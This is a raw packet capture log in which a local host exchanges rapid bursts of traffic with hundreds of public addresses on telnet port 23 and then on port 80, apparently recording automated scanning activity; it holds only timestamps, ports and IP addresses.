Oct 14, 2024 17:34:10.831324100 CEST	23	29508	23.148.134.216	192.168.2.14
Oct 14, 2024 17:34:10.831331968 CEST	23	29508	174.215.232.10	192.168.2.14
Oct 14, 2024 17:34:10.831341028 CEST	23	29508	137.212.7.141	192.168.2.14
Oct 14, 2024 17:34:10.831347942 CEST	23	29508	52.126.146.59	192.168.2.14
Oct 14, 2024 17:34:10.831350088 CEST	29508	23	192.168.2.14	23.163.21.251
Oct 14, 2024 17:34:10.831351995 CEST	29508	23	192.168.2.14	72.117.245.163
Oct 14, 2024 17:34:10.831351995 CEST	23	29508	144.20.42.5	192.168.2.14
Oct 14, 2024 17:34:10.831356049 CEST	23	29508	162.52.188.50	192.168.2.14
Oct 14, 2024 17:34:10.831360102 CEST	23	29508	149.205.129.70	192.168.2.14
Oct 14, 2024 17:34:10.831358910 CEST	29508	23	192.168.2.14	145.34.212.186
Oct 14, 2024 17:34:10.831363916 CEST	29508	23	192.168.2.14	23.148.134.216
Oct 14, 2024 17:34:10.831363916 CEST	29508	23	192.168.2.14	101.0.73.224
Oct 14, 2024 17:34:10.831365108 CEST	23	29508	175.42.149.124	192.168.2.14
Oct 14, 2024 17:34:10.831368923 CEST	23	29508	50.140.71.126	192.168.2.14
Oct 14, 2024 17:34:10.831372976 CEST	23	29508	161.179.238.181	192.168.2.14
Oct 14, 2024 17:34:10.831378937 CEST	23	29508	23.180.10.251	192.168.2.14
Oct 14, 2024 17:34:10.831382990 CEST	23	29508	75.147.218.190	192.168.2.14
Oct 14, 2024 17:34:10.831398010 CEST	29508	23	192.168.2.14	158.84.93.13
Oct 14, 2024 17:34:10.831399918 CEST	29508	23	192.168.2.14	193.126.218.86
Oct 14, 2024 17:34:10.831407070 CEST	29508	23	192.168.2.14	109.23.236.28
Oct 14, 2024 17:34:10.831407070 CEST	23	29508	104.250.86.120	192.168.2.14
Oct 14, 2024 17:34:10.831407070 CEST	29508	23	192.168.2.14	107.91.12.103
Oct 14, 2024 17:34:10.831408024 CEST	29508	23	192.168.2.14	174.215.232.10
Oct 14, 2024 17:34:10.831412077 CEST	29508	23	192.168.2.14	44.4.153.135
Oct 14, 2024 17:34:10.831417084 CEST	23	29508	192.2.141.129	192.168.2.14
Oct 14, 2024 17:34:10.831420898 CEST	23	29508	72.91.4.84	192.168.2.14
Oct 14, 2024 17:34:10.831423998 CEST	23	29508	52.126.179.26	192.168.2.14
Oct 14, 2024 17:34:10.831434011 CEST	23	29508	105.111.84.149	192.168.2.14
Oct 14, 2024 17:34:10.831439018 CEST	29508	23	192.168.2.14	144.20.42.5
Oct 14, 2024 17:34:10.831439972 CEST	29508	23	192.168.2.14	162.52.188.50
Oct 14, 2024 17:34:10.831442118 CEST	23	29508	160.49.175.216	192.168.2.14
Oct 14, 2024 17:34:10.831446886 CEST	29508	23	192.168.2.14	50.140.71.126
Oct 14, 2024 17:34:10.831448078 CEST	29508	23	192.168.2.14	23.180.10.251
Oct 14, 2024 17:34:10.831450939 CEST	23	29508	192.102.232.254	192.168.2.14
Oct 14, 2024 17:34:10.831459045 CEST	29508	23	192.168.2.14	175.42.149.124
Oct 14, 2024 17:34:10.831460953 CEST	23	29508	48.98.241.57	192.168.2.14
Oct 14, 2024 17:34:10.831465006 CEST	23	29508	5.22.130.114	192.168.2.14
Oct 14, 2024 17:34:10.831465006 CEST	29508	23	192.168.2.14	137.212.7.141
Oct 14, 2024 17:34:10.831465006 CEST	29508	23	192.168.2.14	161.179.238.181
Oct 14, 2024 17:34:10.831465960 CEST	29508	23	192.168.2.14	52.126.146.59
Oct 14, 2024 17:34:10.831465006 CEST	29508	23	192.168.2.14	75.147.218.190
Oct 14, 2024 17:34:10.831466913 CEST	29508	23	192.168.2.14	192.2.141.129
Oct 14, 2024 17:34:10.831469059 CEST	23	29508	62.199.6.202	192.168.2.14
Oct 14, 2024 17:34:10.831476927 CEST	29508	23	192.168.2.14	72.91.4.84
Oct 14, 2024 17:34:10.831478119 CEST	23	29508	43.33.238.57	192.168.2.14
Oct 14, 2024 17:34:10.831480026 CEST	29508	23	192.168.2.14	149.205.129.70
Oct 14, 2024 17:34:10.831480026 CEST	29508	23	192.168.2.14	52.126.179.26
Oct 14, 2024 17:34:10.831480980 CEST	29508	23	192.168.2.14	104.250.86.120
Oct 14, 2024 17:34:10.831480980 CEST	29508	23	192.168.2.14	160.49.175.216
Oct 14, 2024 17:34:10.831492901 CEST	29508	23	192.168.2.14	48.98.241.57
Oct 14, 2024 17:34:10.831492901 CEST	29508	23	192.168.2.14	5.22.130.114
Oct 14, 2024 17:34:10.831497908 CEST	29508	23	192.168.2.14	105.111.84.149
Oct 14, 2024 17:34:10.831497908 CEST	29508	23	192.168.2.14	192.102.232.254
Oct 14, 2024 17:34:10.831515074 CEST	29508	23	192.168.2.14	43.33.238.57
Oct 14, 2024 17:34:10.831520081 CEST	29508	23	192.168.2.14	62.199.6.202
Oct 14, 2024 17:34:10.831720114 CEST	23	29508	193.148.169.203	192.168.2.14
Oct 14, 2024 17:34:10.831729889 CEST	23	29508	203.128.246.235	192.168.2.14
Oct 14, 2024 17:34:10.831737995 CEST	23	29508	210.62.112.230	192.168.2.14
Oct 14, 2024 17:34:10.831746101 CEST	23	29508	42.2.210.64	192.168.2.14
Oct 14, 2024 17:34:10.831754923 CEST	23	29508	189.177.72.67	192.168.2.14
Oct 14, 2024 17:34:10.831763029 CEST	23	29508	212.99.2.9	192.168.2.14
Oct 14, 2024 17:34:10.831770897 CEST	23	29508	177.217.97.69	192.168.2.14
Oct 14, 2024 17:34:10.831779003 CEST	23	29508	155.250.155.122	192.168.2.14
Oct 14, 2024 17:34:10.831787109 CEST	23	29508	198.96.217.51	192.168.2.14
Oct 14, 2024 17:34:10.831794977 CEST	23	29508	61.15.199.103	192.168.2.14
Oct 14, 2024 17:34:10.831803083 CEST	23	29508	110.198.21.240	192.168.2.14
Oct 14, 2024 17:34:10.831816912 CEST	23	29508	45.85.44.192	192.168.2.14
Oct 14, 2024 17:34:10.831829071 CEST	29508	23	192.168.2.14	193.148.169.203
Oct 14, 2024 17:34:10.831864119 CEST	29508	23	192.168.2.14	212.99.2.9
Oct 14, 2024 17:34:10.831866026 CEST	29508	23	192.168.2.14	189.177.72.67
Oct 14, 2024 17:34:10.831866026 CEST	29508	23	192.168.2.14	198.96.217.51
Oct 14, 2024 17:34:10.831871033 CEST	29508	23	192.168.2.14	210.62.112.230
Oct 14, 2024 17:34:10.831875086 CEST	29508	23	192.168.2.14	61.15.199.103
Oct 14, 2024 17:34:10.831886053 CEST	29508	23	192.168.2.14	42.2.210.64
Oct 14, 2024 17:34:10.831886053 CEST	29508	23	192.168.2.14	177.217.97.69
Oct 14, 2024 17:34:10.831886053 CEST	29508	23	192.168.2.14	45.85.44.192
Oct 14, 2024 17:34:10.831901073 CEST	29508	23	192.168.2.14	203.128.246.235
Oct 14, 2024 17:34:10.831902027 CEST	29508	23	192.168.2.14	155.250.155.122
Oct 14, 2024 17:34:10.831902027 CEST	29508	23	192.168.2.14	110.198.21.240
Oct 14, 2024 17:34:10.832003117 CEST	23	29508	149.200.199.63	192.168.2.14
Oct 14, 2024 17:34:10.832011938 CEST	23	29508	146.229.206.127	192.168.2.14
Oct 14, 2024 17:34:10.832015991 CEST	23	29508	53.103.204.37	192.168.2.14
Oct 14, 2024 17:34:10.832024097 CEST	23	29508	95.46.80.146	192.168.2.14
Oct 14, 2024 17:34:10.832026958 CEST	23	29508	39.13.233.75	192.168.2.14
Oct 14, 2024 17:34:10.832031965 CEST	23	29508	220.140.230.116	192.168.2.14
Oct 14, 2024 17:34:10.832040071 CEST	23	29508	107.254.134.43	192.168.2.14
Oct 14, 2024 17:34:10.832047939 CEST	23	29508	221.120.128.175	192.168.2.14
Oct 14, 2024 17:34:10.832056046 CEST	23	29508	57.149.22.85	192.168.2.14
Oct 14, 2024 17:34:10.832065105 CEST	23	29508	73.239.253.251	192.168.2.14
Oct 14, 2024 17:34:10.832068920 CEST	23	29508	81.166.239.116	192.168.2.14
Oct 14, 2024 17:34:10.832072020 CEST	29508	23	192.168.2.14	53.103.204.37
Oct 14, 2024 17:34:10.832072973 CEST	29508	23	192.168.2.14	107.254.134.43
Oct 14, 2024 17:34:10.832072973 CEST	29508	23	192.168.2.14	220.140.230.116
Oct 14, 2024 17:34:10.832077026 CEST	23	29508	12.173.213.200	192.168.2.14
Oct 14, 2024 17:34:10.832086086 CEST	29508	23	192.168.2.14	149.200.199.63
Oct 14, 2024 17:34:10.832086086 CEST	23	29508	78.28.215.175	192.168.2.14
Oct 14, 2024 17:34:10.832086086 CEST	29508	23	192.168.2.14	146.229.206.127
Oct 14, 2024 17:34:10.832087994 CEST	29508	23	192.168.2.14	39.13.233.75
Oct 14, 2024 17:34:10.832087994 CEST	29508	23	192.168.2.14	95.46.80.146
Oct 14, 2024 17:34:10.832087994 CEST	29508	23	192.168.2.14	221.120.128.175
Oct 14, 2024 17:34:10.832096100 CEST	23	29508	79.164.93.71	192.168.2.14
Oct 14, 2024 17:34:10.832098007 CEST	29508	23	192.168.2.14	73.239.253.251
Oct 14, 2024 17:34:10.832098007 CEST	29508	23	192.168.2.14	81.166.239.116
Oct 14, 2024 17:34:10.832104921 CEST	23	29508	98.126.160.104	192.168.2.14
Oct 14, 2024 17:34:10.832112074 CEST	29508	23	192.168.2.14	57.149.22.85
Oct 14, 2024 17:34:10.832112074 CEST	29508	23	192.168.2.14	12.173.213.200
Oct 14, 2024 17:34:10.832113981 CEST	23	29508	155.167.221.92	192.168.2.14
Oct 14, 2024 17:34:10.832123995 CEST	29508	23	192.168.2.14	79.164.93.71
Oct 14, 2024 17:34:10.832130909 CEST	23	29508	161.111.38.235	192.168.2.14
Oct 14, 2024 17:34:10.832138062 CEST	29508	23	192.168.2.14	98.126.160.104
Oct 14, 2024 17:34:10.832138062 CEST	29508	23	192.168.2.14	78.28.215.175
Oct 14, 2024 17:34:10.832140923 CEST	23	29508	176.64.106.246	192.168.2.14
Oct 14, 2024 17:34:10.832149029 CEST	29508	23	192.168.2.14	155.167.221.92
Oct 14, 2024 17:34:10.832150936 CEST	23	29508	32.6.108.181	192.168.2.14
Oct 14, 2024 17:34:10.832154989 CEST	23	29508	101.104.144.5	192.168.2.14
Oct 14, 2024 17:34:10.832163095 CEST	23	29508	5.33.54.0	192.168.2.14
Oct 14, 2024 17:34:10.832163095 CEST	29508	23	192.168.2.14	161.111.38.235
Oct 14, 2024 17:34:10.832166910 CEST	23	29508	41.58.210.102	192.168.2.14
Oct 14, 2024 17:34:10.832175970 CEST	23	29508	196.122.196.68	192.168.2.14
Oct 14, 2024 17:34:10.832184076 CEST	23	29508	179.120.7.200	192.168.2.14
Oct 14, 2024 17:34:10.832190990 CEST	23	29508	12.158.231.241	192.168.2.14
Oct 14, 2024 17:34:10.832201958 CEST	23	29508	68.244.76.21	192.168.2.14
Oct 14, 2024 17:34:10.832211018 CEST	23	29508	13.184.147.125	192.168.2.14
Oct 14, 2024 17:34:10.832218885 CEST	29508	23	192.168.2.14	32.6.108.181
Oct 14, 2024 17:34:10.832218885 CEST	29508	23	192.168.2.14	41.58.210.102
Oct 14, 2024 17:34:10.832220078 CEST	23	29508	122.131.204.214	192.168.2.14
Oct 14, 2024 17:34:10.832222939 CEST	29508	23	192.168.2.14	5.33.54.0
Oct 14, 2024 17:34:10.832226992 CEST	29508	23	192.168.2.14	176.64.106.246
Oct 14, 2024 17:34:10.832226992 CEST	29508	23	192.168.2.14	101.104.144.5
Oct 14, 2024 17:34:10.832228899 CEST	23	29508	178.50.173.14	192.168.2.14
Oct 14, 2024 17:34:10.832230091 CEST	29508	23	192.168.2.14	179.120.7.200
Oct 14, 2024 17:34:10.832237959 CEST	23	29508	134.23.195.162	192.168.2.14
Oct 14, 2024 17:34:10.832246065 CEST	23	29508	73.212.25.169	192.168.2.14
Oct 14, 2024 17:34:10.832254887 CEST	23	29508	180.132.252.86	192.168.2.14
Oct 14, 2024 17:34:10.832262039 CEST	29508	23	192.168.2.14	12.158.231.241
Oct 14, 2024 17:34:10.832262039 CEST	29508	23	192.168.2.14	196.122.196.68
Oct 14, 2024 17:34:10.832263947 CEST	23	29508	169.16.233.199	192.168.2.14
Oct 14, 2024 17:34:10.832268000 CEST	29508	23	192.168.2.14	68.244.76.21
Oct 14, 2024 17:34:10.832268000 CEST	29508	23	192.168.2.14	122.131.204.214
Oct 14, 2024 17:34:10.832303047 CEST	29508	23	192.168.2.14	134.23.195.162
Oct 14, 2024 17:34:10.832318068 CEST	29508	23	192.168.2.14	169.16.233.199
Oct 14, 2024 17:34:10.832319975 CEST	29508	23	192.168.2.14	178.50.173.14
Oct 14, 2024 17:34:10.832324982 CEST	29508	23	192.168.2.14	13.184.147.125
Oct 14, 2024 17:34:10.832324982 CEST	29508	23	192.168.2.14	180.132.252.86
Oct 14, 2024 17:34:10.832324982 CEST	29508	23	192.168.2.14	73.212.25.169
Oct 14, 2024 17:34:10.833369970 CEST	23	29508	68.74.243.5	192.168.2.14
Oct 14, 2024 17:34:10.833374977 CEST	23	29508	67.24.201.83	192.168.2.14
Oct 14, 2024 17:34:10.833378077 CEST	23	29508	221.46.231.89	192.168.2.14
Oct 14, 2024 17:34:10.833381891 CEST	23	29508	197.10.40.97	192.168.2.14
Oct 14, 2024 17:34:10.833385944 CEST	23	29508	71.162.101.139	192.168.2.14
Oct 14, 2024 17:34:10.833389997 CEST	23	29508	155.7.176.66	192.168.2.14
Oct 14, 2024 17:34:10.833396912 CEST	23	29508	9.80.22.75	192.168.2.14
Oct 14, 2024 17:34:10.833406925 CEST	23	29508	121.134.208.28	192.168.2.14
Oct 14, 2024 17:34:10.833415985 CEST	23	29508	188.200.230.13	192.168.2.14
Oct 14, 2024 17:34:10.833425999 CEST	23	29508	102.212.111.162	192.168.2.14
Oct 14, 2024 17:34:10.833463907 CEST	29508	23	192.168.2.14	121.134.208.28
Oct 14, 2024 17:34:10.833465099 CEST	29508	23	192.168.2.14	197.10.40.97
Oct 14, 2024 17:34:10.833491087 CEST	29508	23	192.168.2.14	71.162.101.139
Oct 14, 2024 17:34:10.833491087 CEST	29508	23	192.168.2.14	9.80.22.75
Oct 14, 2024 17:34:10.833504915 CEST	29508	23	192.168.2.14	221.46.231.89
Oct 14, 2024 17:34:10.833508968 CEST	29508	23	192.168.2.14	67.24.201.83
Oct 14, 2024 17:34:10.833514929 CEST	29508	23	192.168.2.14	155.7.176.66
Oct 14, 2024 17:34:10.833515882 CEST	29508	23	192.168.2.14	68.74.243.5
Oct 14, 2024 17:34:10.833518982 CEST	29508	23	192.168.2.14	102.212.111.162
Oct 14, 2024 17:34:10.833553076 CEST	29508	23	192.168.2.14	188.200.230.13
Oct 14, 2024 17:34:10.833555937 CEST	23	29508	186.111.46.55	192.168.2.14
Oct 14, 2024 17:34:10.833565950 CEST	23	29508	159.241.220.136	192.168.2.14
Oct 14, 2024 17:34:10.833570004 CEST	23	29508	103.120.161.72	192.168.2.14
Oct 14, 2024 17:34:10.833578110 CEST	23	29508	174.254.140.200	192.168.2.14
Oct 14, 2024 17:34:10.833627939 CEST	29508	23	192.168.2.14	186.111.46.55
Oct 14, 2024 17:34:10.833630085 CEST	29508	23	192.168.2.14	159.241.220.136
Oct 14, 2024 17:34:10.833630085 CEST	29508	23	192.168.2.14	103.120.161.72
Oct 14, 2024 17:34:10.833693027 CEST	29508	23	192.168.2.14	174.254.140.200
Oct 14, 2024 17:34:10.833738089 CEST	23	29508	194.221.143.157	192.168.2.14
Oct 14, 2024 17:34:10.833749056 CEST	23	29508	166.244.177.25	192.168.2.14
Oct 14, 2024 17:34:10.833756924 CEST	23	29508	48.22.64.179	192.168.2.14
Oct 14, 2024 17:34:10.833765984 CEST	23	29508	157.30.254.179	192.168.2.14
Oct 14, 2024 17:34:10.833765984 CEST	29508	23	192.168.2.14	194.221.143.157
Oct 14, 2024 17:34:10.833774090 CEST	23	29508	59.24.1.43	192.168.2.14
Oct 14, 2024 17:34:10.833781958 CEST	23	29508	17.18.23.34	192.168.2.14
Oct 14, 2024 17:34:10.833782911 CEST	29508	23	192.168.2.14	48.22.64.179
Oct 14, 2024 17:34:10.833784103 CEST	29508	23	192.168.2.14	166.244.177.25
Oct 14, 2024 17:34:10.833789110 CEST	23	29508	205.129.158.246	192.168.2.14
Oct 14, 2024 17:34:10.833791971 CEST	29508	23	192.168.2.14	157.30.254.179
Oct 14, 2024 17:34:10.833798885 CEST	23	29508	1.123.169.109	192.168.2.14
Oct 14, 2024 17:34:10.833801985 CEST	29508	23	192.168.2.14	59.24.1.43
Oct 14, 2024 17:34:10.833806992 CEST	23	29508	192.73.156.162	192.168.2.14
Oct 14, 2024 17:34:10.833811045 CEST	23	29508	2.27.162.136	192.168.2.14
Oct 14, 2024 17:34:10.833820105 CEST	29508	23	192.168.2.14	17.18.23.34
Oct 14, 2024 17:34:10.833820105 CEST	23	29508	184.18.71.86	192.168.2.14
Oct 14, 2024 17:34:10.833821058 CEST	29508	23	192.168.2.14	205.129.158.246
Oct 14, 2024 17:34:10.833825111 CEST	23	29508	98.81.207.246	192.168.2.14
Oct 14, 2024 17:34:10.833837032 CEST	23	29508	116.254.230.34	192.168.2.14
Oct 14, 2024 17:34:10.833846092 CEST	23	29508	94.170.157.154	192.168.2.14
Oct 14, 2024 17:34:10.833853960 CEST	23	29508	44.71.209.159	192.168.2.14
Oct 14, 2024 17:34:10.833862066 CEST	23	29508	13.181.8.17	192.168.2.14
Oct 14, 2024 17:34:10.833869934 CEST	23	29508	70.248.151.18	192.168.2.14
Oct 14, 2024 17:34:10.833878040 CEST	23	29508	78.97.0.44	192.168.2.14
Oct 14, 2024 17:34:10.833882093 CEST	23	29508	199.203.20.110	192.168.2.14
Oct 14, 2024 17:34:10.833885908 CEST	23	29508	38.172.71.245	192.168.2.14
Oct 14, 2024 17:34:10.833894014 CEST	23	29508	25.253.99.206	192.168.2.14
Oct 14, 2024 17:34:10.833899975 CEST	23	29508	91.38.66.247	192.168.2.14
Oct 14, 2024 17:34:10.833905935 CEST	29508	23	192.168.2.14	116.254.230.34
Oct 14, 2024 17:34:10.833905935 CEST	29508	23	192.168.2.14	44.71.209.159
Oct 14, 2024 17:34:10.833908081 CEST	23	29508	206.55.43.156	192.168.2.14
Oct 14, 2024 17:34:10.833908081 CEST	29508	23	192.168.2.14	1.123.169.109
Oct 14, 2024 17:34:10.833909988 CEST	29508	23	192.168.2.14	184.18.71.86
Oct 14, 2024 17:34:10.833909988 CEST	29508	23	192.168.2.14	13.181.8.17
Oct 14, 2024 17:34:10.833918095 CEST	23	29508	25.40.50.251	192.168.2.14
Oct 14, 2024 17:34:10.833918095 CEST	29508	23	192.168.2.14	98.81.207.246
Oct 14, 2024 17:34:10.833918095 CEST	29508	23	192.168.2.14	192.73.156.162
Oct 14, 2024 17:34:10.833918095 CEST	29508	23	192.168.2.14	78.97.0.44
Oct 14, 2024 17:34:10.833920956 CEST	29508	23	192.168.2.14	2.27.162.136
Oct 14, 2024 17:34:10.833920956 CEST	29508	23	192.168.2.14	94.170.157.154
Oct 14, 2024 17:34:10.833925009 CEST	29508	23	192.168.2.14	70.248.151.18
Oct 14, 2024 17:34:10.833926916 CEST	29508	23	192.168.2.14	199.203.20.110
Oct 14, 2024 17:34:10.833926916 CEST	29508	23	192.168.2.14	38.172.71.245
Oct 14, 2024 17:34:10.833941936 CEST	29508	23	192.168.2.14	25.253.99.206
Oct 14, 2024 17:34:10.833941936 CEST	29508	23	192.168.2.14	91.38.66.247
Oct 14, 2024 17:34:10.833945036 CEST	29508	23	192.168.2.14	25.40.50.251
Oct 14, 2024 17:34:10.833945990 CEST	29508	23	192.168.2.14	206.55.43.156
Oct 14, 2024 17:34:10.834078074 CEST	23	29508	223.58.139.184	192.168.2.14
Oct 14, 2024 17:34:10.834086895 CEST	23	29508	79.152.244.35	192.168.2.14
Oct 14, 2024 17:34:10.834095001 CEST	23	29508	2.134.20.217	192.168.2.14
Oct 14, 2024 17:34:10.834099054 CEST	23	29508	221.227.163.37	192.168.2.14
Oct 14, 2024 17:34:10.834101915 CEST	23	29508	78.154.64.180	192.168.2.14
Oct 14, 2024 17:34:10.834110022 CEST	23	29508	219.143.9.240	192.168.2.14
Oct 14, 2024 17:34:10.834114075 CEST	29508	23	192.168.2.14	223.58.139.184
Oct 14, 2024 17:34:10.834116936 CEST	23	29508	20.162.73.112	192.168.2.14
Oct 14, 2024 17:34:10.834124088 CEST	29508	23	192.168.2.14	79.152.244.35
Oct 14, 2024 17:34:10.834126949 CEST	29508	23	192.168.2.14	221.227.163.37
Oct 14, 2024 17:34:10.834137917 CEST	23	29508	210.112.144.85	192.168.2.14
Oct 14, 2024 17:34:10.834141016 CEST	29508	23	192.168.2.14	2.134.20.217
Oct 14, 2024 17:34:10.834142923 CEST	29508	23	192.168.2.14	219.143.9.240
Oct 14, 2024 17:34:10.834144115 CEST	29508	23	192.168.2.14	78.154.64.180
Oct 14, 2024 17:34:10.834146976 CEST	23	29508	71.176.242.247	192.168.2.14
Oct 14, 2024 17:34:10.834155083 CEST	23	29508	147.115.114.204	192.168.2.14
Oct 14, 2024 17:34:10.834158897 CEST	23	29508	53.112.59.40	192.168.2.14
Oct 14, 2024 17:34:10.834161997 CEST	29508	23	192.168.2.14	20.162.73.112
Oct 14, 2024 17:34:10.834166050 CEST	23	29508	208.167.63.152	192.168.2.14
Oct 14, 2024 17:34:10.834175110 CEST	23	29508	191.44.52.21	192.168.2.14
Oct 14, 2024 17:34:10.834183931 CEST	23	29508	177.250.182.210	192.168.2.14
Oct 14, 2024 17:34:10.834192991 CEST	23	29508	161.113.123.221	192.168.2.14
Oct 14, 2024 17:34:10.834201097 CEST	23	29508	218.218.113.140	192.168.2.14
Oct 14, 2024 17:34:10.834208965 CEST	23	29508	191.175.79.135	192.168.2.14
Oct 14, 2024 17:34:10.834213018 CEST	23	29508	57.192.224.179	192.168.2.14
Oct 14, 2024 17:34:10.834222078 CEST	23	29508	87.94.238.233	192.168.2.14
Oct 14, 2024 17:34:10.834230900 CEST	23	29508	137.177.112.64	192.168.2.14
Oct 14, 2024 17:34:10.834239006 CEST	23	29508	209.12.148.23	192.168.2.14
Oct 14, 2024 17:34:10.834247112 CEST	23	29508	186.238.42.134	192.168.2.14
Oct 14, 2024 17:34:10.834254980 CEST	23	29508	87.255.177.111	192.168.2.14
Oct 14, 2024 17:34:10.834264040 CEST	23	29508	177.113.134.213	192.168.2.14
Oct 14, 2024 17:34:10.834271908 CEST	23	29508	42.17.53.156	192.168.2.14
Oct 14, 2024 17:34:10.834280014 CEST	23	29508	112.151.85.7	192.168.2.14
Oct 14, 2024 17:34:10.834289074 CEST	23	29508	212.94.0.185	192.168.2.14
Oct 14, 2024 17:34:10.834296942 CEST	23	29508	177.127.224.131	192.168.2.14
Oct 14, 2024 17:34:10.834402084 CEST	23	29508	135.64.133.123	192.168.2.14
Oct 14, 2024 17:34:10.834410906 CEST	23	29508	199.136.56.43	192.168.2.14
Oct 14, 2024 17:34:10.834419966 CEST	23	29508	93.238.19.120	192.168.2.14
Oct 14, 2024 17:34:10.834428072 CEST	23	29508	124.86.76.228	192.168.2.14
Oct 14, 2024 17:34:10.834444046 CEST	29508	23	192.168.2.14	71.176.242.247
Oct 14, 2024 17:34:10.834456921 CEST	29508	23	192.168.2.14	147.115.114.204
Oct 14, 2024 17:34:10.834456921 CEST	29508	23	192.168.2.14	53.112.59.40
Oct 14, 2024 17:34:10.834456921 CEST	29508	23	192.168.2.14	57.192.224.179
Oct 14, 2024 17:34:10.834456921 CEST	29508	23	192.168.2.14	87.94.238.233
Oct 14, 2024 17:34:10.834460020 CEST	29508	23	192.168.2.14	161.113.123.221
Oct 14, 2024 17:34:10.834472895 CEST	29508	23	192.168.2.14	186.238.42.134
Oct 14, 2024 17:34:10.834474087 CEST	29508	23	192.168.2.14	42.17.53.156
Oct 14, 2024 17:34:10.834480047 CEST	29508	23	192.168.2.14	212.94.0.185
Oct 14, 2024 17:34:10.834481955 CEST	29508	23	192.168.2.14	177.127.224.131
Oct 14, 2024 17:34:10.834482908 CEST	29508	23	192.168.2.14	135.64.133.123
Oct 14, 2024 17:34:10.834484100 CEST	29508	23	192.168.2.14	177.113.134.213
Oct 14, 2024 17:34:10.834489107 CEST	29508	23	192.168.2.14	210.112.144.85
Oct 14, 2024 17:34:10.834492922 CEST	29508	23	192.168.2.14	199.136.56.43
Oct 14, 2024 17:34:10.834497929 CEST	29508	23	192.168.2.14	191.44.52.21
Oct 14, 2024 17:34:10.834500074 CEST	29508	23	192.168.2.14	177.250.182.210
Oct 14, 2024 17:34:10.834500074 CEST	29508	23	192.168.2.14	208.167.63.152
Oct 14, 2024 17:34:10.834500074 CEST	29508	23	192.168.2.14	218.218.113.140
Oct 14, 2024 17:34:10.834500074 CEST	29508	23	192.168.2.14	191.175.79.135
Oct 14, 2024 17:34:10.834507942 CEST	29508	23	192.168.2.14	137.177.112.64
Oct 14, 2024 17:34:10.834510088 CEST	29508	23	192.168.2.14	209.12.148.23
Oct 14, 2024 17:34:10.834517002 CEST	29508	23	192.168.2.14	87.255.177.111
Oct 14, 2024 17:34:10.834523916 CEST	29508	23	192.168.2.14	93.238.19.120
Oct 14, 2024 17:34:10.834525108 CEST	29508	23	192.168.2.14	112.151.85.7
Oct 14, 2024 17:34:10.834527969 CEST	29508	23	192.168.2.14	124.86.76.228
Oct 14, 2024 17:34:10.834614038 CEST	23	29508	66.150.185.207	192.168.2.14
Oct 14, 2024 17:34:10.834625006 CEST	23	29508	43.197.245.230	192.168.2.14
Oct 14, 2024 17:34:10.834634066 CEST	23	29508	120.42.90.191	192.168.2.14
Oct 14, 2024 17:34:10.834642887 CEST	23	29508	119.170.165.200	192.168.2.14
Oct 14, 2024 17:34:10.834651947 CEST	23	29508	172.233.195.197	192.168.2.14
Oct 14, 2024 17:34:10.834659100 CEST	23	29508	105.50.106.140	192.168.2.14
Oct 14, 2024 17:34:10.834660053 CEST	29508	23	192.168.2.14	43.197.245.230
Oct 14, 2024 17:34:10.834667921 CEST	23	29508	1.152.88.130	192.168.2.14
Oct 14, 2024 17:34:10.834667921 CEST	29508	23	192.168.2.14	66.150.185.207
Oct 14, 2024 17:34:10.834671974 CEST	29508	23	192.168.2.14	120.42.90.191
Oct 14, 2024 17:34:10.834672928 CEST	29508	23	192.168.2.14	119.170.165.200
Oct 14, 2024 17:34:10.834676027 CEST	23	29508	103.40.99.168	192.168.2.14
Oct 14, 2024 17:34:10.834685087 CEST	23	29508	109.39.176.84	192.168.2.14
Oct 14, 2024 17:34:10.834692001 CEST	29508	23	192.168.2.14	172.233.195.197
Oct 14, 2024 17:34:10.834695101 CEST	29508	23	192.168.2.14	105.50.106.140
Oct 14, 2024 17:34:10.834698915 CEST	29508	23	192.168.2.14	1.152.88.130
Oct 14, 2024 17:34:10.834711075 CEST	29508	23	192.168.2.14	103.40.99.168
Oct 14, 2024 17:34:10.834764004 CEST	29508	23	192.168.2.14	109.39.176.84
Oct 14, 2024 17:34:10.849198103 CEST	29626	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:10.849226952 CEST	29626	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:10.849240065 CEST	29626	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:10.849251032 CEST	29626	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:10.849258900 CEST	29626	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:10.849272013 CEST	29626	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:10.849272013 CEST	29626	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:10.849272966 CEST	29626	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:10.849272966 CEST	29626	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:10.849272966 CEST	29626	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:10.849272966 CEST	29626	80	192.168.2.14	102.134.111.181
Oct 14, 2024 17:34:10.849276066 CEST	29626	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:10.849286079 CEST	29626	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:10.849294901 CEST	29626	80	192.168.2.14	163.210.11.220
Oct 14, 2024 17:34:10.849294901 CEST	29626	80	192.168.2.14	18.37.19.186
Oct 14, 2024 17:34:10.849298954 CEST	29626	80	192.168.2.14	104.242.129.6
Oct 14, 2024 17:34:10.849308014 CEST	29626	80	192.168.2.14	173.186.167.2
Oct 14, 2024 17:34:10.849318981 CEST	29626	80	192.168.2.14	128.92.16.60
Oct 14, 2024 17:34:10.849318981 CEST	29626	80	192.168.2.14	89.21.126.116
Oct 14, 2024 17:34:10.849318981 CEST	29626	80	192.168.2.14	87.197.76.211
Oct 14, 2024 17:34:10.849319935 CEST	29626	80	192.168.2.14	81.242.26.186
Oct 14, 2024 17:34:10.849334002 CEST	29626	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:10.849338055 CEST	29626	80	192.168.2.14	194.123.231.244
Oct 14, 2024 17:34:10.849344015 CEST	29626	80	192.168.2.14	27.156.152.253
Oct 14, 2024 17:34:10.849354982 CEST	29626	80	192.168.2.14	193.14.240.77
Oct 14, 2024 17:34:10.849356890 CEST	29626	80	192.168.2.14	4.20.103.182
Oct 14, 2024 17:34:10.849369049 CEST	29626	80	192.168.2.14	189.202.27.135
Oct 14, 2024 17:34:10.849369049 CEST	29626	80	192.168.2.14	187.120.252.183
Oct 14, 2024 17:34:10.849373102 CEST	29626	80	192.168.2.14	130.144.228.118
Oct 14, 2024 17:34:10.849384069 CEST	29626	80	192.168.2.14	188.147.252.5
